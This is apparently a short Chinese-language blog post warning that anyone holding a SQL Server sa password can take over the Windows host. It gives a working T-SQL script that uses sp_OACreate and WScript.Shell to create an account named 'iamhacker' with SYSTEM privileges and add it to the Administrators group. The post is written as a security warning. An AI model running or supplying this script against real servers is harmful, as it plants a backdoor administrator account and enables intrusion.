SQL Server存在著非常嚴重的安全隱患。sa的密碼就像Administrator的密碼一樣重要。
假如別人獲得了數據庫超級用戶sa的密碼,那麼他/她可以在查詢分析器裡使用下面的SQL語句輕易在Win2000(SQL Server所在的Server)上創建一個超級用戶:
declare @object int
--創建WScript.Shell
EXEC sp_OACreate 'WScript.Shell',@object OUT
--運行net user iamhacker opendoor /add
--添加一個名字為iamhacker,密碼為opendoor的用戶
EXEC sp_OAMethod @object,'Run',NULL,'net user iamhacker opendoor /add'
--把iamhacker添加到Administrators組中
EXEC sp_OAMethod @object,'Run',NULL,'net localgroup Administrators iamhacker /add'
--把iamhacker從User組中刪除
EXEC sp_OAMethod @object,'Run',NULL,'net localgroup Users iamhacker /del'
我已經嘗試過了。。實在太恐怖了。
上面的語句很短。核心是能夠調用平台命令 net 。
其實現方法是SQL SERVER調用COM Automation的強大功能。再配合WSH中的一個對象WScript.Shell的一個方法:Run。(注意,一般SQL Server都是配置在SYSTEM的權限下運行的。也就是說,Run所調用的程序也是具有SYSTEM的權限。)
(相關的實驗是,調用一下NOTEPAD,那麼任務管理器下將有用戶為SYSTEM的NOTEPAD。EXE進程存在)
WScript.Shell的隱患其實已經在各個方面很顯著了。想不到現在竟然在SQL Server上也有相關的問題。
所以。大家一定要注意保管好sa的密碼。不要隨便被人黑了哦。。。